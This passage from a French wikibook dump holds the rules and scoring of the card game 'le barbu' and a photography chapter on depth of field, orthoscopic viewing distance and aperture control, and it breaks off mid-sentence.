ces capteurs vers le micron si on les utilise derrière des objectifs incapables de séparer plus de 100 traits au mm. La fonction de transfert de modulation s'applique évidemment aussi à la photographie numérique mais selon des procédures différentes de celles qui ont marqué l'apogée de la photographie argentique. Suite : '''[[Photographie - 14 - Les émulsions et la reproduction des détails|Les émulsions et la reproduction des détails]]''' Boîte à jeux/Le barbu 4956 34761 2006-02-25T22:42:43Z 82.216.73.139 /* Variantes */ * Nombre de joueurs : 4 * Durée : 30 minutes par manche == But du jeu == Obtenir le maximum de points. == Matériel == * 1 jeux de 32 cartes sans les jokers (les cartes du 7 à l'as). * 1 feuille de papier et un crayon où marquer les résultats. == Le jeu == === Règles === Le barbu se joue généralement en 4 manches (mais dont le nombre peut être déterminé par les joueurs) qui contiennent 5 jeux : * le barbu * les dames * les cœurs * les plis * la réussite Le principe de base, mis à part la réussite, est la réalisation de plis selon les règles suivantes : * La force des cartes est, dans l'ordre croissant : *: 7 8 9 10 Valet Dame Roi As * le joueur qui commence dépose une carte qui détermine la couleur que les autres joueurs devront suivre ; * les trois joueurs suivants posent une carte suivant la couleur posée ; * le joueur qui a posé la carte de plus grande valeur remporte le pli ; * si on ne peut jouer la couleur affichée, on doit se défausser d'une autre carte qui n'aura alors aucune valeur (il n'y a aucun atout). Après avoir battu, coupé et distribué les cartes, un joueur désigné pour toute la manche choisit l'une des 5 épreuves — selon son propre jeu — l'une après l'autre jusqu'à les avoir toutes faites. === Le barbu === Le barbu désigne le roi de cœur qui donne son nom au jeu. Le but de la partie est simplement '''de ne pas remporter le barbu''' lors d'un pli. Lorsque celui-ci tombe, la partie est terminée et seul l'acquéreur du barbu perd '''40 points'''. === Les dames === Les dames sont les quatres dames des quatres couleurs. Comme le barbu, il s'agit de '''prendre le moins de dames''' possible. Chaque dame prise fait perdre '''10 points''' au joueur qui la possède. === Les cœurs === Les cœurs sont toutes les cartes de cœur du 2 à l'as. Encore une fois il s'agit de '''prendre le moins de cœur''' possible. Chaque cœur pris fait perdre '''5 points''' à son acquéreur. === Les plis === Pour ce jeu il faut '''prendre le moins de plis''' possible. Chaque pli fait perdre '''5 points'''. === La réussite === La réussite est différente des autres jeux : c'est le seul qui permette de gagner des points. Son but est de poser toutes ses cartes avant les autres en faisant une réussite selon les règles suivantes : * Le joueur qui a choisi la réussite pose une carte qui sera le point de départ des autres cartes ; * Les joueurs suivants doivent poser une carte : ** de même valeur que la carte de départ ; ** ou une carte inférieure ou supérieure à celle de départ ou à une des autres cartes déjà posées ; * Lorsque poser une carte est impossible, on saute son tour ; * Poser l'as permet de poser toutes les cartes qu'il nous est possible de placer. # Le premier a avoir laché toute ses cartes gagne '''100 points''' ; # Le second gagne '''60 points'''. === En résumé === {| style="border:2px solid;text-align:center" rules=all cellpadding=5 align=center |- | colspan=2 | ! Total |- | Barbu | 40 points pour le roi de cœur | -40 |- | Dames | 10 points par dame | -40 |- | Cœurs | 5 points par cœur | -40 |- | Plis | 5 points par pli | -40 |- | rowspan=2 | Réussite | 100 points pour le premier | rowspan=2 | +160 |- | 60 points pour le second |- | colspan=2 | | 0 |} === Fin de manche et continuation === Lorsque tous les jeux ont été joués, on compte le total de points de chaque joueur. Si on a décidé de jouer plusieurs manches, ce total s'ajoute aux autres. Le gagnant est celui qui, à la fin de toutes les manches, a remporté le plus de points. == Variantes == On peut décider pour varier le jeu, ou alors pour le rendre plus complexe de rajouter des jeux. Cependant si l'on rajoute des jeux, il faut pondérer en conséquence les points accordés à la réussite pour finir sur un total de zéro (cf. ci-dessus). Voici quelques exemples de jeu: === Les 2 derniers plis === Pour ce jeu il ne faut pas prendre les deux derniers plis qui valent -20 pts par pli === Le dernier pli === Ce jeu remplace la variante pr&eacute;c&eacute;dente, il ne faut pas prendre le dernier pli qui vaut -40 pts. === La "salade" === Dans ce jeu tout est comptabilisé: les plis, les coeurs, le roi de coeur, les dames et les deux derniers plis (ou le dernier pli). Les pts alloués sont les mêmes que ceux dans chaque jeu séparé. Cependant, si un joueur fait '''tous''' les points alors ce sont les autres qui perdent chacun un nombre de points égal au total. === Décompte de points === Une variante des d&eacute;compte des points est que le joueur qui ramasse le roi de coeur, des dames, des plis,... a comme p&eacute;nalit&eacute; des points en plus.<br> Dans ce cas l&agrave;, c'est le joueur qui comptabilise le moins de points à la fin de la partie qui gagne celle-ci. Cela &eacute;vite de faire des calculs dans les n&eacute;gatifs. Les points sont &eacute;galement divis&eacute; par cinq.<br> En ce qui concerne la r&eacute;ussite, le total des points doit &ecirc;tre nul (&eacute;gal à zero). {| style="border:2px solid;text-align:center" rules=all cellpadding=5 align=center |- | colspan=2 | ! Total |- | Barbu | +8 points pour le roi de cœur | 8 |- | Dames | +2 points par dame | 8 |- | Cœurs | +1 point par cœur | 8 |- | Plis | +1 point par pli | 8 |- | Dernier pli | +8 point pour le dernier pli | 8 |- | Salade | les 5 précédents | 40 |- | rowspan=4 | Réussite <br>(4 joueurs par exemple) | -10 points pour le premier | rowspan=4 | 0 |- | -5 points pour le second |- | +5 points pour le troisième |- | +10 points pour le quatrième |- | colspan=2 | | 80 |} == Dame de Pique == La dame de Pique est un jeu de cartes dérivé du Barbu que les utilisateurs de Windows connaissent bien. {{BoiteJeux}} Photographie - Chapitre 14 - Pouvoir séparateur des objectifs 4958 18806 2005-08-07T22:15:02Z Jean-Jacques MILAN 114 Photographie - Chapitre 14 - Pouvoir séparateur des objectifs déplacé vers Photographie - 14 - Pouvoir séparateur des objectifs: simplification #redirect [[Photographie - 14 - Pouvoir séparateur des objectifs]] Photographie - Chapitre 14 - Fonction de transfert de modulation 4959 18808 2005-08-07T22:15:43Z Jean-Jacques MILAN 114 Photographie - Chapitre 14 - Fonction de transfert de modulation déplacé vers Photographie - 14 - Fonction de transfert de modulation: simplification #redirect [[Photographie - 14 - Fonction de transfert de modulation]] Photographie - 14 - Profondeur de champ 4960 46631 2006-06-30T17:43:57Z Jean-Jacques MILAN 114 /* Variation de la profondeur de champ avec le format */ {{Photographie}} {{Photo_14}} == Définition == Pour une configuration donnée de l'appareil photographique et pour une utilisation donnée des clichés, la '''profondeur de champ''' correspond à la '''zone de l'espace dans laquelle doit se trouver le sujet à photographier pour que l'on puisse en obtenir une image que l'œil (ou un autre système) acceptera comme nette'''. En anglais on dit ''depth of field'' ou ''DOF'' en abrégé. <center> {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:DOF-ShallowDepthofField.jpg|225px]] |- |} </center> La maîtrise de la profondeur de champ est absolument indispensable pour la réussite de la plupart des prises de vues, en particulier pour le portrait, la macrophotographie, le paysage, l'architecture, la publicité, etc. Comme nous le verrons, l'étendue de cette zone dépend de nombreux paramètres qui interviennent d'une part au moment de la prise de vue (notamment les dimensions de la surface sensible, la distance de mise au point et surtout l'ouverture du [[diaphragme]]), d'autre part au moment de l'examen de l'image (entre autres l'[[Photographie - 14 - L'œil et la perception de la netteté|acuité visuelle]] du spectateur, le contraste de l'image et la distance à laquelle celle-ci est observée). {| border="1" cellpadding="5" cellspacing="0" |- | <center>'''Grande profondeur de champ'''</center> | <center>'''Faible profondeur de champ'''</center> |- |<center>[[Image:Hoshigaki Making.JPG|315px]] |<center>[[Image:TenryujiBuilding.jpg|350px]] |- |Cette photographie est nette sur toute l'étendue représentée, l'impression de profondeur vient du fait que les kakis mis à sécher donnent des images d'autant plus petites et serrées qu'ils sont plus éloignés. Aucun élément n'est privilégié, nous avons là un document plutôt qu'une image à caractère artistique. |Ici au contraire le photographe a délibérément fait le point sur les feuillages du premier plan et provoqué partout ailleurs l'apparition d'un certain degré de flou. Afin de communiquer son émotion aux spectateurs, il a choisi une certaine partie de l'image comme sujet principal et l'a mise en valeur par rapport aux autres éléments. |- |<center>[[Image:Clitocybe nebularis group.jpg|240px]] |<center>[[Image:Remebrance poppy ww2 section of Aust war memorial.jpg|247px]] |- |Ce joli groupe de ''Clitocybe nebularis'' se présente sous la forme d'une ligne courbe et le photographe a pris le parti d'obtenir une netteté maximale. Il aurait été sans doute bon de « faire le ménage » en enlevant la branche arquée du bas de la photo, car elle attire inutilement le regard. |Une très faible profondeur de champ attire le regard sur un coquelicot bien particulier et plonge tout le reste de l'image dans le flou. Le photographe aurait peut-être pu choisir un point de vue plus élevé pour placer entièrement le coquelicot net sur un fond clair (Australian War Memorial, Canberra). |- |colspan="2"|Ces quelques exemples montrent le parti qu'un photographe avisé peut tirer d'une plus ou moins grande profondeur de champ. Dans tous les cas, c'est au photographe, et à lui seul, qu'il appartient de choisir à bon escient les divers paramètres de sa prise de vue. Au besoin, il n'hésitera pas à s'éloigner des réglages plus ou moins standardisés commandés par les automatismes de son appareil. |} <br/> == Distance d'observation et netteté == === Influence de la distance d'observation sur la netteté apparente des photographies === Les lois de l'optique et les techniques de reproduction sont telles qu'aucune photographie ne peut être parfaitement nette. Nous pouvons le vérifier facilement sur n'importe quelle image en nous en approchant sufisamment ou, si besoin est, en utilisant un instrument d'optique assez puissant tel qu'une loupe, un compte-fils ou un microscope : dans tous les cas, à partir d'un certain grossissement, des imperfections apparaissent. Lorsque nous observons une photographie depuis une certaine distance et qu'elle nous paraît nette, cela signifie simplement qu'elle ne présente, dans les conditions de cette observation, que des défauts trop ténus pour être perceptibles. Autrement dit, l'impression de netteté est intimement liée aux possibilités de perception de notre œil et à ses multiples « imperfections ». Heureusement pour les photographes, l'œil parfait n'existe pas, sinon toutes les images sans exception paraîtraient floues ! {| |- |Une bande horizontale au milieu de cette photographie est normalement perçue comme nette mais ses limites sont difficiles à définir ; les deux zones situées en bas et en haut, qui correspondent à des éléments du sujet respectivement plus rapprochés et plus éloignés de l'objectif, sont en revanche perçues comme floues. Un objectif, une prise de vue et un traitement de qualité donneront habituellement, au moins dans certaines zones d'une photographie, des détails trop ténus pour que nous puissions les distinguer dans des conditions d'observation courantes. Au milieu de la bande nette se trouvent, au moins sur l'image originale, de fins détails invisibles depuis une distance donnée mais discernables de plus près ou à l'aide d'un instrument grossissant. |[[Image:Focus ubt.jpeg|500px|right]] |- |} Si la distance d'observation augmente ou diminue, toutes choses restant égales par ailleurs, les défauts de netteté s'estompent ou s'accentuent. À quelques mètres de l'écran, la zone de netteté apparente nous semble plus large qu'à 50 cm et naturellement, plus nous nous rapprochons, plus elle rétrécit, pour finalement disparaître en totalité lorsque se révèle la structure des phosphores de l'écran. À cette bande que nous percevons comme nette correspond une certaine profondeur dans l'espace du sujet. Si cette bande s'élargit, la profondeur correspondante augmente, et inversement. La « zone de l'espace dans laquelle doit se trouver le sujet à photographier pour que l'on puisse en obtenir une image que l'œil (ou un autre système) acceptera comme nette » dépend donc bel et bien de la distance d'observation. C'est pourquoi, '''si l'on veut étudier sérieusement la profondeur de champ, il faut impérativement définir une distance d'observation de référence'''. Trop loin, certains défauts disparaissent, trop près, on trouve des défauts qui n'en sont pas. Selon que l'on choisit la '''distance orthoscopique''', qui a le mérite de conserver la perspective, ou une '''distance pratique d'observation''' voisine de la diagonale du format (si toutefois ce dernier est suffisant grand), les conclusions varient considérablement. Cependant, quelle que soit la distance de référence, c'est toujours au moment de la prise de vue, et en fonction de l'utilisation prévue pour l'image, que nous devons résoudre au mieux le problème de la netteté. Après, il est trop tard ! === La distance orthoscopique === Pour qu'une photographie soit aussi réaliste que possible, il faut théoriquement la regarder sous un angle identique à celui sous lequel l'appareil « voyait » le sujet. La distance d'observation qui permet de restituer cet angle de vision s'appelle '''distance orthoscopique'''. Elle n'est pas souvent respectée, même approximativement, pourtant c'est elle qui doit être prise pour base de tout calcul sérieux de la profondeur de champ ... Mais d'abord, quelques rappels élémentaires de perspective ne sont peut-être pas inutiles : Les photos A et B, ci-dessous, ont été prises du même endroit en faisant varier la [[distance focale]] du zoom dans un rapport d'environ 3,5. En agrandissant la zone centrale de la photo A dans le même rapport, on obtiendrait une image notablement dégradée mais exactement superposable à la photo B. La photo C a été prise d'un point beaucoup plus rapproché que les photos A et B et agrandie de façon que la hauteur de la maison (signée [[w:Le Corbusier|Le Corbusier]]) soit la même que sur la photo B. La perspective a changé, on voit sur la photo C des parties du bâtiment qui n'apparaissaient pas sur A et B. Dans le même temps, les proportions des objets sont profondément modifiées et il est clair que le choix du point de vue doit être l'objet de tous les soins si l'on veut bien mettre en valeur les divers éléments du sujet. S'il fallait ici vendre quelque chose, ce serait sans aucun doute la maison sur la photo B et la voiture sur la photo C... <center>'''La perspective ne dépend que du point de vue.''' {| cellpadding="5" |- |'''A''' |'''B''' |'''C''' |- | valign="top" |[[Image:Corbusier 1.jpg|175px]] | valign="top" |[[Image:Corbusier 2.jpg|169px]] | valign="top" |[[Image:Corbusier 3.jpg|190px]] |- |} </center> Sur votre écran, les trois images sont situées dans le même plan et il est hautement probable que vous n'en observiez présentement aucune à la bonne distance ! Vous êtes vraisemblablement un peu trop loin de la photo B, qui a été prise en position téléobjectif, et beaucoup trop loin des photos A et C, qui ont été prises en position grand-angulaire. Au passage, profitons-en pour tordre le cou à une autre idée reçue. Sauf s'ils sont affectés d'une distorsion monstrueuse qui traduit les lignes droites du sujet par des lignes courbes sur l'image, les téléobjectifs et les grand-angulaires ne déforment pas les images. Les déformations apparentes qui leur sont injustement imputées se produisent uniquement lorsque les images ne sont pas examinées depuis la distance orthoscopique ... Appelons '''D''' cette fameuse distance ; comment la calcule-t-on ?<br/><br/> Prenons un élément du sujet, par exemple un arbre de hauteur '''A''' situé, au moment de la prise de vue, à une distance '''X''' de l'objectif '''O'''. <center>[[Image:Arbre.png|500px|]]</center> Sur la photographie définitive qui sera examinée à l'écran ou sous forme de tirage sur papier, l'image de cet arbre aura une hauteur '''a''' ; le rapport '''G=a/A''' est appelé '''grandissement'''. Pour respecter l'angle de vision, il faut alors que : <math>G=\frac{a}{A}=\frac{D}{X}</math>, autrement dit <math>D=\frac{a}{A}X=GX</math> Prenons le cas de la photo B : l'immeuble a une hauteur d'environ 10 m (trois niveaux plus une terrasse) et la photo a été prise depuis une distance de l'ordre de 50 m. Sur un écran de 19 pouces paramétré en 1024x768 pixels, l'image de l'immeuble mesure 7 cm, donc, en convertissant toutes les distances en cm : <math>D=\frac{7}{1000}5000=35 cm</math> Compte tenu de la variation de focale effectuée entre A et B (3,5), il s'ensuit que la photo A devrait être vue depuis une distance d'environ 10 cm. Pour la photo C, ce serait plutôt à 6 à 7 cm. Naturellement, si votre écran est plus petit, ces distances doivent être diminuées en proportion. Finalement, seule la photo B correspondra à une vision pas trop déformée ... Remarques : * le grandissement '''G''' est en réalité le produit de deux grandissements successifs, '''g''' qui correspond au rapport entre les dimensions de l'image formée sur le film ou le capteur et celles du sujet, puis '''g'''' qui correspond au passage de l'image enregistrée sur film ou dans la carte-mémoire à celle qui est finalement observée sur un tirage papier ou un écran. Bien entendu, '''G = g.g'''' * la plupart du temps, l'image finale est beaucoup plus petite que le sujet, le grandissement est en réalité une réduction, on trouve '''G<1, avec g<<1 et g'>1'''. * dans le cas de la macrophotographie proprement dite, l'image enregistrée par l'appareil est plus grande que le sujet, on trouve alors '''G>1, avec g>1 et g'>1'''. * il peut arriver que l'image finale soit plus grande que le sujet ; c'est toujours le cas en macrophotographie, mais pas seulement : les ''Grands nus'' d'[[Helmut Newton]] sont des tirages photographiques sur lesquels les modèles sont représentés plus grands que nature. == Flou, netteté et pouvoir séparateur de l'œil == Lors d'une prise de vue, le manque de netteté ou le flou caractérisé de l'image formée sur la surface sensible ont des causes multiples : * l'objectif est un authentique « cul de bouteille » qui ne donne nulle part une image utilisable, on oublie. * la mise au point est mauvaise : le photographe a la vue basse, l'aufocus fonctionne par paliers ou encore ... le modèle s'est déplacé. * l'objectif n'est pas utilisé au mieux de ses possibilités. * le photographe a la tremblote ; l'émotion, peut-être... * etc. Par la suite, bien d'autres facteurs influenceront la qualité finale d'une photographie, comme la structure de la pellicule ou du capteur, le développement, le tirage ou l'impression, la projection ou la vision sur écran, etc. Que le procédé soit argentique, numérique ou mixte n'y change rien. Comme nous le rappellerons plus loin, nous ne considérerons ici que les éléments purement géométriques qui concourent à la formation de l'image, en relation avec les paramètres visuels qui permettent d'en apprécier la qualité. === Perception de taches-images contiguës === Quoi que l'on fasse, l'image photographique d'un objet n'est jamais parfaitement nette, même si l'œil, éventuellement assisté d'un instrument, la perçoit comme telle. Il n'existe en effet aucun objectif parfait, aucun film parfait, aucun papier photographique parfait, aucun écran d'ordinateur parfait. En d'autres termes, l'image d'une source quasi ponctuelle (une étoile lointaine en constitue un excellent modèle) n'est jamais un point, mais une tache aux bords plus ou moins flous, généralement accompagnée d'anneaux de [[diffraction]] concentriques dont la structure peut être très complexe. Les amateurs de mathématiques iront voir, pour en savoir plus, du côté des [[fonction d'Airy|fonctions d'Airy]]. [[Image:Cercles.jpg|250px]] Si le flou n'est pas trop important, deux taches-images voisines peuvent être distinguées à l'œil nu ou à l'aide d'un instrument grossissant ; sinon, elles fusionnent et l'information est perdue. La limite à partir de laquelle cette fusion se produit est très difficile à définir. === Intervention du pouvoir séparateur limite de l'œil === Comme cela a été montré dans le chapitre concernant [[Photographie - 14 - L'œil et la perception de la netteté|l'œil et la perception de la netteté]], le pouvoir séparateur de l'œil doit être considéré comme un '''angle limite''' en-dessous duquel deux points lumineux distincts ne peuvent plus être perçus comme tels. Rappelons que dans des conditions très favorables, cet angle <big>'''&epsilon;'''</big> (epsilon) vaut environ 1' (une minute d'angle), soit à peu près à '''<big>&epsilon;</big>=1/3000 radian''', ce qui correspond à des détails de 0,33 mm à 1 m, ou de 3,3 mm à 10 m, ou de 3,3 cm à 100 m, etc. Pour les applications courantes, nous adopterons plutôt '''<big>&epsilon;</big>=1/1500 radian''', une valeur plus proche des conditions habituelles. L'idéal est que '''dans la zone qui doit être nette''' (et qui, on l'a vu, ne correspond pas forcément à la totalité de la scène), deux points du sujet tels que M et N, susceptibles d'être distingués à l'œil nu depuis le point de vue, soient traduits sous la forme de deux points m et n de l'image visibles distinctement depuis la distance orthoscopique D. [[Image:Netteté limite 1.png|350px]] Il en résulte que la limite de netteté sera obtenue pour <math>mn=\epsilon D\,</math>, soit en pratique <big><big><math>mn=\frac {D}{1500}</math></big></big>. Dans cette affaire, la constante est l''''angle limite''' qui caractérise l'acuité visuelle et pas la distance qui sépare les points m et n et varie avec la taille de l'image. De plus, il n'y a aucun rapport entre la distance réelle des points M et N et celle de leurs images m et n, car M et N peuvent se situer n'importe où sur leurs rayons visuels respectifs. La notion de cercle de confusion, que l'on rencontre hélas trop souvent dans les magazines ou les ouvrages de vulgarisation, où elle n'est d'ailleurs jamais clairement définie, n'a strictement aucun intérêt. Son usage ne fait que compliquer les calculs et semer ... la confusion dans les esprits ; c'est pourquoi nous l'ignorerons purement et simplement. Il est plus sage, pour fonder un raisonnement cohérent sur la question qui nous occupe ici, de partir des hypothèses suivantes : * toutes les causes de flou sont négligées, sauf celles qui proviennent des paramètres purement géométriques concourant à la formation de l'image, * l'objectif utilisé est optiquement parfait et donne donc, d'une source ponctuelle, une image elle aussi ponctuelle, * les images sont examinées systématiquement depuis la distance orthoscopique D. == Netteté et agrandissement après la prise de vue == Lorsque l'on agrandit un négatif, une diapositive ou un fichier numérique original pour obtenir l'image définitive qui sera soumise aux regards des spectateurs, on agrandit dans le même rapport ses éléments pertinents et ses défauts. Une image insuffisamment agrandie ne révèle pas tous ses défauts de netteté car on ne peut pas l'observer d'assez près, quelle que soit la distance d'observation prise pour référence. C'est pourquoi, très souvent, des photos d'aspect flatteur au format 10x15 cm se révèlent si décevantes en 20x30 cm. Raisonnons donc sur des épreuves de bonne qualité et suffisamment grandes pour que nous puissions les examiner dans des conditions décentes. Prenons pour exemple un agrandissement en 20x30 cm d'une certaine image originale et supposons qu'il faille l'observer à 50 cm. Un agrandissement 3 fois plus grand de cette même image fournira un « poster » de 60x90 cm que nous devrons observer à 1,5 m. Toutes choses égales par ailleurs, les défauts de l'image originale seront agrandis trois fois plus mais, comme la distance d'observation sera elle aussi triplée, l'œil les percevra sous le même angle dans les deux cas ; de ce fait, son appréciation sur la netteté sera identique. Ce raisonnement peut être étendu à tous les rapports d'agrandissement, pourvu qu'ils soient suffisants, et à toutes les distances d'observation, pourvu que l'angle soit conservé. Il est donc général et la conclusion va de soi : <center> '''La netteté d'une photographie dépend du cliché original et non des dimensions de l'épreuve définitive'''. </center> == Tolérance de mise au point, profondeur de foyer, profondeur de champ == Avant d'aborder l'étude détaillée de ces diverses notions, il est nécessaire de bien poser le problème ! {| border="1" cellpadding="5" cellspacing="0" |- |'''Conventions et notations''' Un objectif parfait muni d'un diaphragme de diamètre d fait correspondre aux points '''R''', '''P''' et '''A''' leurs images '''R'''', '''P'''' et '''A''''. Le cône d'ouverture '''<math>\epsilon \,</math>''' indique la limite angulaire de netteté admise : les images vues depuis O sous un angle inférieur ou égal à '''<math>\epsilon \,</math>''' seront considérées comme nettes. |[[Image:Canevas 14.svg|500px]] |- |colspan="2"|<center>Les points '''R'''', '''P'''' et '''A'''' sont les conjugués respectifs des points '''R''', '''P''' et '''A'''. |- |'''Mise au point exacte''' D'un objet plan perpendiculaire en '''P''' à l'axe optique, l'objectif fournira une image plane sur le plan de la surface sensible situé en '''P''''. Tous les points de cette image seront vus sous un angle très inférieur à '''<math>\epsilon \,</math>''' et la photographie aura dans ce cas sa netteté maximale. |[[Image:Mise au point normale.svg|500px]] |- |colspan="2"|La mise au point exacte n'est possible, dans des conditions habituelles et avec un objectif parfaitement corrigé, que si le sujet est plan et perpendiculaire à l'axe optique. La « bascule » permet d'étendre l'obtention de la netteté à des sujets non perpendiculaires à cet axe. Il existe aussi des objectifs spéciaux qui permettent de former sur un plan l'image d'objets convexes ou concaves. |- |'''Tolérance de mise au point''' La mise au point n'est pas faite en '''P''' où se trouve l'objet mais en '''A''' et le plan de la surface sensible est donc en '''A''''. L'image de '''P''' n'est plus un point mais une tache dont le diamètre reste contenu dans le cône de netteté. Nous sommes ici à la limite. En faisant le même raisonnement pour '''R''' et '''R'''', nous en déduisons que la distance de la surface sensible au centre optique peut varier de OR' à OA' sans que la dégradation de l'image dépasse la limite choisie comme acceptable, et donc que la mise au point peut être faite de OA à OR. |[[Image:Tolerance de mise au point.svg|500px]] |- |colspan="2"|Nous ne nous attarderons guère sur la tolérance de mise au point. Elle a cependant une certaine importance pour les appareils de bas de gamme qui possèdent un système de mise au point automatique fonctionnant par paliers : la mise au point exacte n'est alors presque jamais obtenue. |- |'''Profondeur de foyer''' La mise au point est faite en '''P''' où se trouve l'objet. La surface sensible devrait théoriquement se trouver en '''P'''' mais en fait elle peut occuper n'importe quelle position entre '''A'''' et '''P'''' sans que le diamètre de la tache-image dépasse la limite choisie. |[[Image:Profondeur de foyer.svg|500 px]] |- |colspan="2"|La profondeur de foyer est généralement très faible et il faut donc respecter des tolérances de fabrication très précises au niveau des boîtiers et des montures d'objectifs. Dans les appareils réflex elle intervient deux fois, pour la mise en position de la surface sensible et pour celle du dépoli de visée. Les constructeurs doivent également prendre des dispositions pour assurer le maintien du film dont les défauts de planéité provoqueraient l'apparition de zones floues, s'ils étaient supérieurs à la profondeur de foyer. |- |'''Profondeur de champ''' La mise au point est faite en '''P''' et la surface sensible se trouve en '''P'''' mais l'objet n'est plus plan. Des points de l'objet tels que '''A''' et '''R''' donnent des taches-images dont le diamètre reste acceptable, l'image de tout objet à trois dimensions situé entre les plans perpendiculaires à l'axe optique passant par '''A''' et '''R''' sera nette. |[[Image:Profondeur de champ.svg|500 px]] |- |colspan="2"|<center>Nous arrivons là au cœur du problème ... |- |'''Conjugaison de la profondeur de champ et de la profondeur de foyer''' Il résulte de ce qui précède que la profondeur de champ et la profondeur de foyer constituent deux espaces conjugués ; par conséquent toute modification de l'un entraîne ipso facto une modification de l'autre. |[[Image:Conjugaison des profondeurs.svg|500px]] |- |colspan="2"|Deux remarques s'imposent maintenant : * Si le diamètre du diaphragme diminue, les cônes formés par les faisceaux lumineux sont moins ouverts, la profondeur de foyer et la profondeur de champ augmentent avec '''A'R'''' et '''AR'''. Le diaphragme, qui agit directement sur l'étendue de la zone de netteté, est donc un '''organe de mise au point'''. Nous n'allons pas tarder à y revenir. * Dans l'immense majorité des cas, l'image originale obtenue lors de la prise de vue est plus petite ou beaucoup plus petite que le sujet photographié ; la profondeur de champ est alors beaucoup plus étendue que la profondeur de foyer. Dans le domaine de la [[Photographie - 23 - Macrophotographie|macrophotographie]] proprement dite, c'est l'inverse qui se produit : l'image originale est plus grande que l'objet photographié, la profondeur de champ devient plus petite que la profondeur de foyer ... et ça change tout ! |- |} == Maîtriser le diaphragme == Le diaphragme est avant tout '''un dispositif de <u>mise au point</u> qui a l'<u>inconvénient</u> d'arrêter beaucoup de lumière quand on le ferme'''. Non, vous ne rêvez pas, et l'auteur de cette affirmation ne s'est pas échappé dernièrement de l'asile. Le diaphragme n'a pas du tout le rôle que la plupart des photographes lui prêtent et en particulier, contrairement à une idée fausse mais hélas très fortement ancrée dans les esprits, il ne devrait jamais servir à régler le flux lumineux qui pénètre dans l'appareil. Cela mérite évidemment quelques explications. Ces deux photos montrent clairement l'influence du diaphragme sur l'étendue de la zone de netteté. La première a été prise avec une [[ouverture relative]] de 3,3 , la seconde avec une ouverture relative de 9,9 ; naturellement, le temps de pose a été ajusté en conséquence (donc multiplié par 9), mais tous les autres paramètres sont restés identiques. {| cellpadding="5" |- |'''diaphragme ouvert''' |'''diaphragme fermé''' |- |[[Image:Page 01.jpg|200px]] |[[Image:Page 02.jpg|200px]] |- |} Avec une variation d'ouverture plus importante, par exemple de 1,4 à 22 (ce que ne permettait pas l'appareil utilisé ici), la différence aurait été beaucoup plus flagrante. === Savoir quand il faut fermer le diaphragme... === Pour la macrophotographie, la nature morte, la photographie scientifique ou documentaire, etc., une grande profondeur de champ est généralement nécessaire pour bien mettre en valeur la totalité du sujet. Des zones floues sur la photo d'un insecte, par exemple, perturbent considérablement la vision. {| cellpadding="5" |- |'''Diaphragme trop ouvert : raté !''' Certaines parties de cette punaise (une antenne, l'extrémité de l'abdomen) sont floues. |'''Bonne ouverture : réussi !''' Pour cette mouche minuscule (6&nbsp;mm), la netteté est partout suffisante. |- |[[Image:Punaise.jpg|300px]] |[[Image:Mouche indéterminée.jpg|300px]] |- |} === ... et quand il faut l'ouvrir === Dans le cas du portrait, au contraire, une faible profondeur de champ améliore la sensation de relief et met en valeur le sujet principal net bien détaché sur un fond flou. {| cellpadding="5" |- |'''Diaphragme trop fermé : raté !''' L'arrière-plan est trop net, trop présent et il nuit à la lisibilité de la photo. |'''Diaphragme plus ouvert : c'est mieux !''' Le sujet se détache du fond, dont les détails ne sont plus guère identifiables. |- |[[Image:Portrait 01.jpg|300px]] |[[Image:Portrait 02.jpg|300px]] |- |} Le « floutage » du fond est grandement facilité si l'on prend soin d'éloigner le modèle de l'arrière-plan. On peut aussi opérer après coup par des moyens informatiques mais c'est toujours plus long, plus difficile et en général ... ça se voit comme un furoncle sur le nez d'un top-modèle. === Remarques === * Tous les opticiens savent qu'en « diaphragmant », on améliore les performances des mauvais objectifs (certains sont presque inutilisables à pleine ouverture) et on détériore les performances des meilleurs, sans pour autant que la qualité des premiers s'approche de celle des seconds. Attention cependant à '''ne pas trop fermer le diaphragme'''. Au-delà des ouvertures moyennes, en effet, aucun objectif ne peut échapper à la [[diffraction]]. De plus, l'assombrissement exagéré de l'image par un diaphragme trop fermé oblige à allonger le temps de pose, ou à utiliser un éclairage d'appoint quand c'est possible, à moins que, pour éviter le risque d'un flou de bougé, l'on ne préfère adopter une pellicule plus sensible ou augmenter la sensibilité apparente du capteur, ce qui ajoute du grain ou du bruit ; dans tous les cas, on est perdant. * Pour photographier un paysage par forte lumière, plutôt que de « visser » le diaphragme à fond, il vaut mieux utiliser un film peu sensible, réduire la sensibilité du capteur à sa valeur nominale (environ 80 ISO) ou encore munir l'objectif d'un fitre gris neutre de haute qualité ; un bon pare-soleil est toujours bienvenu. * Finalement, hormis quelques situations d'urgence, dès que les conditions de prise de vue sont un peu délicates, '''un photographe averti ne devrait jamais laisser à l'appareil le soin de régler le diaphragme à sa place...''' == Iris et diaphragme == Les différences fondamentales entre l'œil et l'appareil photographique sont suffisamment nombreuses pour inciter à la prudence lorsque l'on souhaite comparer leurs organes respectifs. Cette prudence n'est malheureusement pas toujours de mise, tant s'en faut, dans la littérature de vulgarisation. {| border="1" cellpadding="5" cellspacing="0" |- |<center>'''L'iris''' |<center>'''Le diaphragme''' |- |<center>[[Image:MyEYE.jpg|300px]] T'as un bel œil, tu sais ! |<center>[[Image:Oscillo-Raptar 1,9-75 mm Wollensack.jpg|300px]] Oscillo-Raptar f:1,9/75 mm Wollensak partiellement démonté pour montrer les nombreuses lamelles du diaphragme. |- |L'œil reste ouvert en permanence pendant les périodes d'activité et l'iris ne peut rien faire d'autre que laisser passer un certain flux lumineux de façon continue. |L'appareil possède un obturateur permettant de déterminer les temps de pose et donc la quantité de lumière qui va pénétrer dans la chambre noire. |- |L'œil, qui ne peut voir net que dans un tout petit angle, explore successivement les divers éléments de son environnement. |L'appareil enregistre d'un seul coup l'ensemble de la scène à photographier. |- |L'œil accomode en explorant la scène qui se trouve devant lui, il est capable de voir nets, successivement, des points éloignés et d'autres rapprochés ; la notion de profondeur de champ n'a donc pas vraiment de sens pour lui en raison de sa mobilité. |Lors d'une prise de vue, la mise au point est calée sur une certaine distance et la zone qui sera perçue comme nette sur l'image est fixée une fois pour toutes par les réglages de l'appareil. |- |L'œil dispose de deux systèmes photosensibles qui se substituent l'un à l'autre pour lui permettre de passer en douceur de la [[vision photopique]] à la [[vision scotopique]]. L'[[iris]] est un « diaphragme automatique » qui protège la rétine et ajuste, à un moment donné, la luminosité des images formées par le cristallin avec la sensibilité variable des cellules visuelles. En pleine lumière, l'iris est fermé au maximum, ce qui n'est pas toujours suffisant pour éviter l'éblouissement sur une plage ou 